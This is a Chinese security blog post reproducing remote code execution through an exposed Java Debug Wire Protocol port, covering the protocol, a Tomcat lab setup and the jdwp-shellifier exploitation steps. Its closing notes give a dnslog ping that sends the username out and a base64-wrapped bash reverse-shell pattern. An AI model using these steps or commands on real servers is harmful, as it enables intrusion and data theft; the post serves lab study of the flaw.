JDWP RCE 复现

  • A+
所属分类:安全文章

点击蓝字

JDWP RCE 复现

关注我们



声明

本文作者:flashine (漏洞复现组)
本文字数:1500

阅读时长:15分钟

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载




一、

JDWP协议

JDWP(Java Debug Wire Protocol Transport Interface)协议是用于调试器(debugger)和被调试的Java虚拟机(Target VM)之前的通信协议。如果一个应用在本地调试没出问题,而在线上出现了问题,就可以开启JDWP远程调试来解决问题,然后就有可能被利用。
JDWP RCE 复现

JDWP是一个基于二进制包的网络协议。
JDWP大致分为两个阶段:握手(handshake)和应答。

JDWP RCE 复现
握手结束后,Debugger就可以向Target VM发送命令了。JDWP是通过命令包(command packet)和回复包(reply packet)来进行通信的。JDWP本身是无状态的,因此对命令出现的顺序并不受限制。

Debugger通过命令包获取Target VM 的信息以及控制程序的执行,Target VM通过发送命令包通知Debugger某些事件的发生,如到达断点或是产生异常。回复包是用来回复命令包的,表示该命令是否执行成功。如果执行成功,回复包还可能包含有命令包请求的数据,如变量的值等。而从Target VM发出的命令包是不需要回复的。

另外,JDWP是异步的,不需要等待接收到前一个命令包的回复包就可以发送下一个命令包。

我们可以根据下图给定的包格式来构建命令包和解析回复包JDWP RCE 复现

其中Flags这个字段主要用于区分发送的数据包是哪种类型,0x00代表命令包,0x80代表回复包,具体的协议传输细则可以参考oracle官网链接,文后已附上。

二、

环境搭建

基于Tomcat远程调试搭建jdwp演示环境,环境配置如下所示:

tomcat-version: 7.0.106
OS: win7 x64
java-version: 1.8.0_212

这里我使用的是非安装版的Tomcat,即官网上的zip版本。
我们需要修改bin目录下的startup.bat文件,在文件开头插入一句话即可:

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000

JDWP RCE 复现

然后cmd运行startup.bat就可以在8000端口上开启JDWP协议了。

三、

原理

先说几个知识点,在文后的Oracle链接中可以查到:

  1. VirtualMachine/IDSizes是JVM处理的数据结构的大小,不同的机器值可能不同,由于nmap的jdwp-exec.nse脚本使用了硬编码,所以脚本执行不成功。

  2. ClassType/InvokeMethod用于调用一个静态方法

  3. ObjectReference/InvokeMethod用于在JVM中调用一个实例化对象的方法

  4. Event/Composite会强制JVM对命令声明的特定行为做出回应。该命令是调试的关键,设置断点、通过线程单步调试,提供访问/修改值时的通知。

脚本jdwp-shellifier的运行过程梳理如下:

  1. 与Target VM 握手,建立连接

  2. 向JVM发出请求获取IDSizes

  3. 向JVM发出请求获取JVM的版本信息

  4. 向JVM发出请求获取所有的类信息,其中包含有referenceTypeID
    JDWP RCE 复现

  5. 从得到的类信息中提取出java.lang.Runtime类的referenceTypeID

  6. 由于Runtime类只能通过getRuntime方法获取,因此还需要向服务器请求获取方法信息
    JDWP RCE 复现

  7. 从得到的方法信息中提取出getRuntime方法的referenceTypeID

  8. 给需要指定的方法添加断点,默认是java.net.ServerSocket.accept,因为在windows平台下进行jdwp调试只能使用socket类型,且该函数调用比较频繁。

  9. 当断点触发时,我们就可以得到被调试方法所运行的线程ID
    JDWP RCE 复现

  10. 清除断点并恢复线程运行

  11. 创建执行命令的字符串对象,并通过回复包获取该对象ID:
    JDWP RCE 复现

  12. 调用方法命令调用静态方法getRuntime并获取对应的对象ID:
    JDWP RCE 复现

  13. 上次请求过方法信息,从之前请求的方法信息中可获取到exec方法的referenceTypeID

  14. 通过对象的方法调用命令调用exec函数就可以执行命令了:


四、

说明

以上主要都是围绕Oracle官方的jdwp协议的API说明在执行,但是执行命令的关键是需要找到thredID、类和方法的ID,获取不到ID就实现不了对应的功能。比如我想在执行命令之前先看下服务器的IP,但是查了下获取不到getLocalHost等其他几个获取IP的方法:

JDWP RCE 复现
由于默认使用的java.net.ServerSocket.accept调试等待时间较长,可以使用java.lang.String.indexOf替换掉。
读取执行命令的结果的java写法比较麻烦,可以直接使用dnslog来验证命令是否执行成功,在windows平台可以执行cmd /c ping -n 1 %USERNAME%.[dnslog.cn],linux平台可以执行bash -c {echo,[反弹shell命令的base64编码]}|{base64,-d}|{bash,-i}

贴一下命令执行成功的截图:JDWP RCE 复现
这里不写cmd /c的话可能导致命令执行不成功哦,另外在cmd下直接执行的时候会自动将%USERNAME%替换为自己主机的名字。
执行结果:JDWP RCE 复现

另外,由于执行命令前不知道系统是linu还是windows,如果执行的参数中不带有cmd,程序会自动调用java.lang.System.getProperties方法获取系统信息,具体如下(部分参数我注释掉了,如有需要可自行修改):
JDWP RCE 复现JDWP RCE 复现

五、

参考链接

  • https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

  • https://blog.spoock.com/2019/04/20/jdwp-rce/

  • https://docs.oracle.com/javase/8/docs/platform/jpda/jdwp/jdwp-protocol.html




扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


JDWP RCE 复现
JDWP RCE 复现


本文始发于微信公众号(WgpSec狼组安全团队):JDWP RCE 复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: